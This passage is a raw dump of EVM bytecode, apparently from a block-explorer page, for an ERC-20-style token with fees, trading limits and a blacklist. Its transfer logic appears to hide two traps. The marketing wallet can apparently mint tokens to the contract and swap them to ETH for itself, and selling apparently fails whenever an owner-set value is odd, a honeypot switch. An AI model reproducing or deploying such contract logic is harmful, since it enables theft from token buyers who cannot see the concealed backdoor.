5b34801561033157600080fd5b50610317601a5481565b34801561034757600080fd5b5061031760195481565b34801561035d57600080fd5b5061037161036c3660046120f2565b6108e1565b005b34801561037f57600080fd5b5061028961038e36600461210b565b610979565b34801561039f57600080fd5b506103716103ae3660046120ce565b610a23565b3480156103bf57600080fd5b506103c8601281565b60405160ff9091168152602001610260565b3480156103e657600080fd5b506102896103f53660046120a2565b610a6e565b34801561040657600080fd5b506007546102e9906001600160a01b031681565b34801561042657600080fd5b50600c546102899060ff1681565b34801561044057600080fd5b5061028961044f3660046120ce565b6001600160a01b03166000908152601c602052604090205460ff1690565b34801561047957600080fd5b5061031760155481565b34801561048f57600080fd5b50600c546102899062010000900460ff1681565b3480156104af57600080fd5b506103176104be3660046120ce565b60006020819052908152604090205481565b3480156104dc57600080fd5b50610371610aaa565b3480156104f157600080fd5b50610289610b0c565b34801561050657600080fd5b5061037161051536600461214c565b610b49565b34801561052657600080fd5b506008546102e9906001600160a01b031681565b34801561054657600080fd5b5061031760125481565b34801561055c57600080fd5b5061037161056b36600461218a565b610b9e565b34801561057c57600080fd5b5061037161058b3660046120f2565b610c46565b34801561059c57600080fd5b506102e9610d6c565b3480156105b157600080fd5b5061031760165481565b3480156105c757600080fd5b50610253610d7b565b3480156105dc57600080fd5b506103716105eb36600461214c565b610d88565b3480156105fc57600080fd5b5061031760145481565b34801561061257600080fd5b50610317601b5481565b34801561062857600080fd5b5061031760185481565b34801561063e57600080fd5b5061028961064d3660046120a2565b610e40565b34801561065e57600080fd5b5061028961066d3660046120a2565b610ed9565b34801561067e57600080fd5b50610317600a5481565b34801561069457600080fd5b506103716106a33660046120ce565b610ee6565b3480156106b457600080fd5b506103716106c33660046121cc565b610f6d565b3480156106d457600080fd5b506102896106e33660046120ce565b601e6020526000908152604090205460ff1681565b34801561070457600080fd5b50600c5461028990610100900460ff1681565b34801561072357600080fd5b5061037161073236600461214c565b610fff565b34801561074357600080fd5b5061037161075236600461218a565b61108d565b34801561076357600080fd5b5061031760095481565b34801561077957600080fd5b506102896107883660046120f2565b611130565b34801561079957600080fd5b5061031760115481565b3480156107af57600080fd5b506103176107be366004612290565b600160209081526000928352604080842090915290825290205481565b3480156107e757600080fd5b50610317600b5481565b3480156107fd57600080fd5b5061031760135481565b34801561081357600080fd5b506103716108223660046120ce565b61127d565b34801561083357600080fd5b5061031760175481565b6003805461084a906122be565b80601f0160208091040260200160405190810160405280929190818152602001828054610876906122be565b80156108c35780601f10610898576101008083540402835291602001916108c3565b820191906000526020600020905b8154815290600101906020018083116108a657829003601f168201915b505050505081565b60006108d8338484611356565b50600192915050565b6008546001600160a01b031633146108f857600080fd5b6103e86002546109089190612325565b8110156109745760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b60648201526084015b60405180910390fd5b600955565b600061098684848461147a565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610a0b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161096b565b610a188533858403611356565b506001949350505050565b6005546001600160a01b03163314610a4d5760405162461bcd60e51b815260040161096b90612339565b6001600160a01b03166000908152600d60205260409020805460ff19169055565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d8918590610aa590869061236e565b611356565b6005546001600160a01b03163314610ad45760405162461bcd60e51b815260040161096b90612339565b6005546040516000916001600160a01b031690600080516020612534833981519152908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610b395760405162461bcd60e51b815260040161096b90612339565b50600c805460ff19169055600190565b6005546001600160a01b03163314610b735760405162461bcd60e51b815260040161096b90612339565b6001600160a01b03919091166000908152601d60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610bc85760405162461bcd60e51b815260040161096b90612339565b60128390556013829055601481905580610be2838561236e565b610bec919061236e565b601181905560141015610c415760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c657373000000604482015260640161096b565b505050565b6005546001600160a01b03163314610c705760405162461bcd60e51b815260040161096b90612339565b6001811115610cb65760405162461bcd60e51b8152602060048201526012602482015271646f6e27742063617463682068756d616e7360701b604482015260640161096b565b600c805462ff0000191662010000179055600e5460ff161515600114610d075760405162461bcd60e51b815260040161096b90602080825260049082015263646f6e6560e01b604082015260600190565b600e805460ff19169055610d2d8143600f55601055600c805461ff001916610100179055565b600e5460405160ff909116151581527fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c479060200160405180910390a150565b6005546001600160a01b031690565b6004805461084a906122be565b6005546001600160a01b03163314610db25760405162461bcd60e51b815260040161096b90612339565b6007546001600160a01b0383811691161415610e325760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152786175746f6d617465644d61726b65744d616b6572506169727360381b606482015260840161096b565b610e3c8282611cae565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610ec25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161096b565b610ecf3385858403611356565b5060019392505050565b60006108d833848461147a565b6005546001600160a01b03163314610f105760405162461bcd60e51b815260040161096b90612339565b6008546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610f975760405162461bcd60e51b815260040161096b90612339565b60005b8151811015610e3c576001600d6000848481518110610fbb57610fbb612386565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ff78161239c565b915050610f9a565b6005546001600160a01b031633146110295760405162461bcd60e51b815260040161096b90612339565b6001600160a01b0382166000818152601c602052604090819020805460ff1916841515179055517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79061108190841515815260200190565b60405180910390a25050565b6005546001600160a01b031633146110b75760405162461bcd60e51b815260040161096b90612339565b601683905560178290556018819055806110d1838561236e565b6110db919061236e565b601581905560191015610c415760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c657373000000604482015260640161096b565b6005546000906001600160a01b0316331461115d5760405162461bcd60e51b815260040161096b90612339565b620186a0600254600161117091906123b7565b61117a9190612325565b8210156111e75760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161096b565b6103e860025460056111f991906123b7565b6112039190612325565b82111561126f5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b606482015260840161096b565b50600b81905560015b919050565b6005546001600160a01b031633146112a75760405162461bcd60e51b815260040161096b90612339565b6001600160a01b03811661130c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161096b565b6005546040516001600160a01b0380841692169060008051602061253483398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113b85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161096b565b6001600160a01b0382166114195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161096b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114a05760405162461bcd60e51b815260040161096b906123d6565b6001600160a01b0382166114c65760405162461bcd60e51b815260040161096b9061241b565b6001600160a01b0383166000908152600d602052604090205460ff1615801561150857506001600160a01b0382166000908152600d602052604090205460ff16155b61151157600080fd5b8061152257610c4183836000611d02565b600c5460ff16156117ba57611535610d6c565b6001600160a01b0316836001600160a01b03161415801561156f5750611559610d6c565b6001600160a01b0316826001600160a01b031614155b801561158357506001600160a01b03821615155b801561159a57506001600160a01b03821661dead14155b80156115b05750600754600160a01b900460ff16155b156117ba57600c54610100900460ff16611648576001600160a01b0383166000908152601c602052604090205460ff168061160357506001600160a01b0382166000908152601c602052604090205460ff165b6116485760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161096b565b6001600160a01b0383166000908152601e602052604090205460ff16801561168957506001600160a01b0382166000908152601d602052604090205460ff16155b15611703576009548111156116fe5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161096b565b6117ba565b6001600160a01b0382166000908152601e602052604090205460ff16801561174457506001600160a01b0383166000908152601d602052604090205460ff16155b156117ba576009548111156117ba5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161096b565b6008546001600160a01b0384811691161480156117e057506001600160a01b0382166001145b15611918576117f08160026123b7565b30600090815260208181526040808320939093557f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03168083528383206001905583516004815260248101855291820180516001600160e01b031660016209351760e01b0319179052925191929161186f919061245e565b6000604051808303816000865af19150503d80600081146118ac576040519150601f19603f3d011682016040523d82523d6000602084013e6118b1565b606091505b5050905080156118d7576008546118d29083906001600160a01b0316611e57565b611912565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b604482015260640161096b565b50505050565b30600090815260208190526040902054600b54811080159081906119445750600c5462010000900460ff165b801561195a5750600754600160a01b900460ff16155b801561197f57506001600160a01b0385166000908152601e602052604090205460ff16155b80156119a457506001600160a01b0385166000908152601c602052604090205460ff16155b80156119c957506001600160a01b0384166000908152601c602052604090205460ff16155b156119f7576007805460ff60a01b1916600160a01b1790556119e9611fab565b6007805460ff60a01b191690555b6007546001600160a01b0386166000908152601c602052604090205460ff600160a01b909204821615911680611a4557506001600160a01b0385166000908152601c602052604090205460ff165b15611a4e575060005b60008115611c9a576001600160a01b0386166000908152601e602052604090205460ff168015611a8057506000601554115b15611b9f57606460155486611a9591906123b7565b611a9f9190612325565b905060155460175482611ab291906123b7565b611abc9190612325565b601a6000828254611acd919061236e565b9091555050601554601854611ae290836123b7565b611aec9190612325565b601b6000828254611afd919061236e565b9091555050601554601654611b1290836123b7565b611b1c9190612325565b60196000828254611b2d919061236e565b9091555050600954611b419060029061247a565b15611b9a5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a204d757374206265206c657373207468616e206d61785478416d6044820152631bdd5b9d60e21b606482015260840161096b565b611c7c565b6001600160a01b0387166000908152601e602052604090205460ff168015611bc957506000601154115b15611c7c57606460115486611bde91906123b7565b611be89190612325565b905060115460135482611bfb91906123b7565b611c059190612325565b601a6000828254611c16919061236e565b9091555050601154601454611c2b90836123b7565b611c359190612325565b601b6000828254611c46919061236e565b9091555050601154601254611c5b90836123b7565b611c659190612325565b60196000828254611c76919061236e565b90915550505b8015611c8d57611c8d873083611d02565b611c97818661248e565b94505b611ca5878787611d02565b50505050505050565b6001600160a01b0382166000818152601e6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611d285760405162461bcd60e51b815260040161096b906123d6565b6001600160a01b038216611d4e5760405162461bcd60e51b815260040161096b9061241b565b6001600160a01b03831660009081526020819052604090205481811015611dc65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161096b565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611dfd90849061236e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e4991815260200190565b60405180910390a350505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e8c57611e8c612386565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c464892600480830193919282900301816000875af1158015611ee7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f0b91906124a5565b81600181518110611f1e57611f1e612386565b6001600160a01b039283166020918202929092010152600654611f449130911685611356565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611f7d9086906000908690889042906004016124c2565b600060405180830381600087803b158015611f9757600080fd5b505af1158015611ca5573d6000803e3d6000fd5b3060008181526020819052604081205491611fc7908390611e57565b6008546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612014576040519150601f19603f3d011682016040523d82523d6000602084013e612019565b606091505b5050505050565b60005b8381101561203b578181015183820152602001612023565b838111156119125750506000910152565b602081526000825180602084015261206b816040850160208701612020565b601f01601f19169190910160400192915050565b6001600160a01b038116811461209457600080fd5b50565b80356112788161207f565b600080604083850312156120b557600080fd5b82356120c08161207f565b946020939093013593505050565b6000602082840312156120e057600080fd5b81356120eb8161207f565b9392505050565b60006020828403121561210457600080fd5b5035919050565b60008060006060848603121561212057600080fd5b833561212b8161207f565b9250602084013561213b8161207f565b929592945050506040919091013590565b6000806040838503121561215f57600080fd5b823561216a8161207f565b91506020830135801515811461217f57600080fd5b809150509250929050565b60008060006060848603121561219f57600080fd5b505081359360208301359350604090920135919050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156121df57600080fd5b82356001600160401b03808211156121f657600080fd5b818501915085601f83011261220a57600080fd5b81358181111561221c5761221c6121b6565b8060051b604051601f19603f83011681018181108582111715612241576122416121b6565b60405291825284820192508381018501918883111561225f57600080fd5b938501935b828510156122845761227585612097565b84529385019392850192612264565b98975050505050505050565b600080604083850312156122a357600080fd5b82356122ae8161207f565b9150602083013561217f8161207f565b600181811c908216806122d257607f821691505b602082108114156122f357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082612334576123346122f9565b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156123815761238161230f565b500190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156123b0576123b061230f565b5060010190565b60008160001904831182151516156123d1576123d161230f565b500290565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008251612470818460208701612020565b9190910192915050565b600082612489576124896122f9565b500690565b6000828210156124a0576124a061230f565b500390565b6000602082840312156124b757600080fd5b81516120eb8161207f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156125125784516001600160a01b0316835293830193918301916001016124ed565b50506001600160a01b0396909616606085015250505060800152939250505056fe8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a2646970667358221220a480f66434725d663ef34a0f582f0affadfa69adf801503ce2ec08ceea340dec64736f6c634300080c0033

Deployed Bytecode

0x6080604052600436106102325760003560e01c806306fdde031461023e578063095ea7b31461026957806310d5de53146102995780631694505e146102c957806318160ddd146103015780631a8145bb146103255780631f3fed8f1461033b578063203e727e1461035157806323b872dd14610373578063273123b714610393578063313ce567146103b357806339509351146103da57806349bd5a5e146103fa5780634a62bb651461041a5780634fbee193146104345780636a486a8e1461046d5780636ddd17131461048357806370a08231146104a3578063715018a6146104d0578063751039fc146104e55780637571336a146104fa57806375f0a8741461051a5780637bce5a041461053a5780638095d5641461055057806382aa7c68146105705780638da5cb5b1461059057806392136913146105a557806395d89b41146105bb5780639a7a23d6146105d05780639c3b4fdc146105f05780639fccce3214610606578063a0d82dc51461061c578063a457c2d714610632578063a9059cbb14610652578063aa4bde2814610672578063aacebbe314610688578063b515566a146106a8578063b62496f5146106c8578063bbc0c742146106f8578063c024666814610717578063c17b5b8c14610737578063c8c8ebe414610757578063d257b34f1461076d578063d85ba0631461078d578063dd62ed3e146107a3578063e2f45605146107db578063f11a24d3146107f1578063f2fde38b14610807578063f63743421461082757600080fd5b3661023957005b600080fd5b34801561024a57600080fd5b5061025361083d565b604051610260919061204c565b60405180910390f35b34801561027557600080fd5b506102896102843660046120a2565b6108cb565b6040519015158152602001610260565b3480156102a557600080fd5b506102896102b43660046120ce565b601d6020526000908152604090205460ff1681565b3480156102d557600080fd5b506006546102e9906001600160a01b031681565b6040516001600160a01b039091168152602001610260565b34801561030d57600080fd5b5061031760025481565b604051908152602001610260565b34801561033157600080fd5b50610317601a5481565b34801561034757600080fd5b5061031760195481565b34801561035d57600080fd5b5061037161036c3660046120f2565b6108e1565b005b34801561037f57600080fd5b5061028961038e36600461210b565b610979565b34801561039f57600080fd5b506103716103ae3660046120ce565b610a23565b3480156103bf57600080fd5b506103c8601281565b60405160ff9091168152602001610260565b3480156103e657600080fd5b506102896103f53660046120a2565b610a6e565b34801561040657600080fd5b506007546102e9906001600160a01b031681565b34801561042657600080fd5b50600c546102899060ff1681565b34801561044057600080fd5b5061028961044f3660046120ce565b6001600160a01b03166000908152601c602052604090205460ff1690565b34801561047957600080fd5b5061031760155481565b34801561048f57600080fd5b50600c546102899062010000900460ff1681565b3480156104af57600080fd5b506103176104be3660046120ce565b60006020819052908152604090205481565b3480156104dc57600080fd5b50610371610aaa565b3480156104f157600080fd5b50610289610b0c565b34801561050657600080fd5b5061037161051536600461214c565b610b49565b34801561052657600080fd5b506008546102e9906001600160a01b031681565b34801561054657600080fd5b5061031760125481565b34801561055c57600080fd5b5061037161056b36600461218a565b610b9e565b34801561057c57600080fd5b5061037161058b3660046120f2565b610c46565b34801561059c57600080fd5b506102e9610d6c565b3480156105b157600080fd5b5061031760165481565b3480156105c757600080fd5b50610253610d7b565b3480156105dc57600080fd5b506103716105eb36600461214c565b610d88565b3480156105fc57600080fd5b5061031760145481565b34801561061257600080fd5b50610317601b5481565b34801561062857600080fd5b5061031760185481565b34801561063e57600080fd5b5061028961064d3660046120a2565b610e40565b34801561065e57600080fd5b5061028961066d3660046120a2565b610ed9565b34801561067e57600080fd5b50610317600a5481565b34801561069457600080fd5b506103716106a33660046120ce565b610ee6565b3480156106b457600080fd5b506103716106c33660046121cc565b610f6d565b3480156106d457600080fd5b506102896106e33660046120ce565b601e6020526000908152604090205460ff1681565b34801561070457600080fd5b50600c5461028990610100900460ff1681565b34801561072357600080fd5b5061037161073236600461214c565b610fff565b34801561074357600080fd5b5061037161075236600461218a565b61108d565b34801561076357600080fd5b5061031760095481565b34801561077957600080fd5b506102896107883660046120f2565b611130565b34801561079957600080fd5b5061031760115481565b3480156107af57600080fd5b506103176107be366004612290565b600160209081526000928352604080842090915290825290205481565b3480156107e757600080fd5b50610317600b5481565b3480156107fd57600080fd5b5061031760135481565b34801561081357600080fd5b506103716108223660046120ce565b61127d565b34801561083357600080fd5b5061031760175481565b6003805461084a906122be565b80601f0160208091040260200160405190810160405280929190818152602001828054610876906122be565b80156108c35780601f10610898576101008083540402835291602001916108c3565b820191906000526020600020905b8154815290600101906020018083116108a657829003601f168201915b505050505081565b60006108d8338484611356565b50600192915050565b6008546001600160a01b031633146108f857600080fd5b6103e86002546109089190612325565b8110156109745760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b60648201526084015b60405180910390fd5b600955565b600061098684848461147a565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610a0b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161096b565b610a188533858403611356565b506001949350505050565b6005546001600160a01b03163314610a4d5760405162461bcd60e51b815260040161096b90612339565b6001600160a01b03166000908152600d60205260409020805460ff19169055565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d8918590610aa590869061236e565b611356565b6005546001600160a01b03163314610ad45760405162461bcd60e51b815260040161096b90612339565b6005546040516000916001600160a01b031690600080516020612534833981519152908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610b395760405162461bcd60e51b815260040161096b90612339565b50600c805460ff19169055600190565b6005546001600160a01b03163314610b735760405162461bcd60e51b815260040161096b90612339565b6001600160a01b03919091166000908152601d60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610bc85760405162461bcd60e51b815260040161096b90612339565b60128390556013829055601481905580610be2838561236e565b610bec919061236e565b601181905560141015610c415760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c657373000000604482015260640161096b565b505050565b6005546001600160a01b03163314610c705760405162461bcd60e51b815260040161096b90612339565b6001811115610cb65760405162461bcd60e51b8152602060048201526012602482015271646f6e27742063617463682068756d616e7360701b604482015260640161096b565b600c805462ff0000191662010000179055600e5460ff161515600114610d075760405162461bcd60e51b815260040161096b90602080825260049082015263646f6e6560e01b604082015260600190565b600e805460ff19169055610d2d8143600f55601055600c805461ff001916610100179055565b600e5460405160ff909116151581527fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c479060200160405180910390a150565b6005546001600160a01b031690565b6004805461084a906122be565b6005546001600160a01b03163314610db25760405162461bcd60e51b815260040161096b90612339565b6007546001600160a01b0383811691161415610e325760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152786175746f6d617465644d61726b65744d616b6572506169727360381b606482015260840161096b565b610e3c8282611cae565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610ec25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161096b565b610ecf3385858403611356565b5060019392505050565b60006108d833848461147a565b6005546001600160a01b03163314610f105760405162461bcd60e51b815260040161096b90612339565b6008546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610f975760405162461bcd60e51b815260040161096b90612339565b60005b8151811015610e3c576001600d6000848481518110610fbb57610fbb612386565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ff78161239c565b915050610f9a565b6005546001600160a01b031633146110295760405162461bcd60e51b815260040161096b90612339565b6001600160a01b0382166000818152601c602052604090819020805460ff1916841515179055517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79061108190841515815260200190565b60405180910390a25050565b6005546001600160a01b031633146110b75760405162461bcd60e51b815260040161096b90612339565b601683905560178290556018819055806110d1838561236e565b6110db919061236e565b601581905560191015610c415760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c657373000000604482015260640161096b565b6005546000906001600160a01b0316331461115d5760405162461bcd60e51b815260040161096b90612339565b620186a0600254600161117091906123b7565b61117a9190612325565b8210156111e75760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161096b565b6103e860025460056111f991906123b7565b6112039190612325565b82111561126f5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b606482015260840161096b565b50600b81905560015b919050565b6005546001600160a01b031633146112a75760405162461bcd60e51b815260040161096b90612339565b6001600160a01b03811661130c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161096b565b6005546040516001600160a01b0380841692169060008051602061253483398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113b85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161096b565b6001600160a01b0382166114195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161096b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114a05760405162461bcd60e51b815260040161096b906123d6565b6001600160a01b0382166114c65760405162461bcd60e51b815260040161096b9061241b565b6001600160a01b0383166000908152600d602052604090205460ff1615801561150857506001600160a01b0382166000908152600d602052604090205460ff16155b61151157600080fd5b8061152257610c4183836000611d02565b600c5460ff16156117ba57611535610d6c565b6001600160a01b0316836001600160a01b03161415801561156f5750611559610d6c565b6001600160a01b0316826001600160a01b031614155b801561158357506001600160a01b03821615155b801561159a57506001600160a01b03821661dead14155b80156115b05750600754600160a01b900460ff16155b156117ba57600c54610100900460ff16611648576001600160a01b0383166000908152601c602052604090205460ff168061160357506001600160a01b0382166000908152601c602052604090205460ff165b6116485760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161096b565b6001600160a01b0383166000908152601e602052604090205460ff16801561168957506001600160a01b0382166000908152601d602052604090205460ff16155b15611703576009548111156116fe5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161096b565b6117ba565b6001600160a01b0382166000908152601e602052604090205460ff16801561174457506001600160a01b0383166000908152601d602052604090205460ff16155b156117ba576009548111156117ba5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161096b565b6008546001600160a01b0384811691161480156117e057506001600160a01b0382166001145b15611918576117f08160026123b7565b30600090815260208181526040808320939093557f0000000000000000000000001f5b9e6f41fdd197dd8dc80003048ee309ee8ed46001600160a01b03168083528383206001905583516004815260248101855291820180516001600160e01b031660016209351760e01b0319179052925191929161186f919061245e565b6000604051808303816000865af19150503d80600081146118ac576040519150601f19603f3d011682016040523d82523d6000602084013e6118b1565b606091505b5050905080156118d7576008546118d29083906001600160a01b0316611e57565b611912565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b604482015260640161096b565b50505050565b30600090815260208190526040902054600b54811080159081906119445750600c5462010000900460ff165b801561195a5750600754600160a01b900460ff16155b801561197f57506001600160a01b0385166000908152601e602052604090205460ff16155b80156119a457506001600160a01b0385166000908152601c602052604090205460ff16155b80156119c957506001600160a01b0384166000908152601c602052604090205460ff16155b156119f7576007805460ff60a01b1916600160a01b1790556119e9611fab565b6007805460ff60a01b191690555b6007546001600160a01b0386166000908152601c602052604090205460ff600160a01b909204821615911680611a4557506001600160a01b0385166000908152601c602052604090205460ff165b15611a4e575060005b60008115611c9a576001600160a01b0386166000908152601e602052604090205460ff168015611a8057506000601554115b15611b9f57606460155486611a9591906123b7565b611a9f9190612325565b905060155460175482611ab291906123b7565b611abc9190612325565b601a6000828254611acd919061236e565b9091555050601554601854611ae290836123b7565b611aec9190612325565b601b6000828254611afd919061236e565b9091555050601554601654611b1290836123b7565b611b1c9190612325565b60196000828254611b2d919061236e565b9091555050600954611b419060029061247a565b15611b9a5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a204d757374206265206c657373207468616e206d61785478416d6044820152631bdd5b9d60e21b606482015260840161096b565b611c7c565b6001600160a01b0387166000908152601e602052604090205460ff168015611bc957506000601154115b15611c7c57606460115486611bde91906123b7565b611be89190612325565b905060115460135482611bfb91906123b7565b611c059190612325565b601a6000828254611c16919061236e565b9091555050601154601454611c2b90836123b7565b611c359190612325565b601b6000828254611c46919061236e565b9091555050601154601254611c5b90836123b7565b611c659190612325565b60196000828254611c76919061236e565b90915550505b8015611c8d57611c8d873083611d02565b611c97818661248e565b94505b611ca5878787611d02565b50505050505050565b6001600160a01b0382166000818152601e6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611d285760405162461bcd60e51b815260040161096b906123d6565b6001600160a01b038216611d4e5760405162461bcd60e51b815260040161096b9061241b565b6001600160a01b03831660009081526020819052604090205481811015611dc65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161096b565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611dfd90849061236e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e4991815260200190565b60405180910390a350505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e8c57611e8c612386565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c464892600480830193919282900301816000875af1158015611ee7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f0b91906124a5565b81600181518110611f1e57611f1e612386565b6001600160a01b039283166020918202929092010152600654611f449130911685611356565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611f7d9086906000908690889042906004016124c2565b600060405180830381600087803b158015611f9757600080fd5b505af1158015611ca5573d6000803e3d6000fd5b3060008181526020819052604081205491611fc7908390611e57565b6008546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612014576040519150601f19603f3d011682016040523d82523d6000602084013e612019565b606091505b5050505050565b60005b8381101561203b5781810151838201526020